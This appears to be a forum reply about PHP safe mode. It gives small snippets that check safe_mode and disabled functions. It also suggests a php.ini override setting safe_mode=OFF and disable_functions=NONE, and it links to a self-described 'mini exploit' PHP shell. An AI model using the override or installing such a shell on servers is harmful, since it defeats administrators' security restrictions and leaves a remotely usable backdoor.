That is because of safe-mode on. In safe-mode on condition most of PHP functions will be disabled.
Also try this PHP code tp find is safe mode is on or not,
$safemode=@ini_get('safe_mode');
echo $safemode;
?>
Find Disabled functions in server using this code,
if(!@ini_get('disable_functions'))
{
echo "None";
}
else
{
echo @ini_get('disable_functions');
}
?>
Try this PHP.INI code... Save this as php.ini in same direcory that saved this file.
safe_mode=OFF
disable_functions=NONE
Now check the disabled functions once more... Disabled functions is not 'None' eventhogh you created php.ini request the server administrator to switch off safe mode on your use...
Download this application to your server and security related things
http://indrajith-mini-shell-project.googlecode.com/files/indrajith.v.2.php[
^] It is a mini exploit coded by me... You need to change username, password & email to prohibit unauthorised use... Hope it will help you.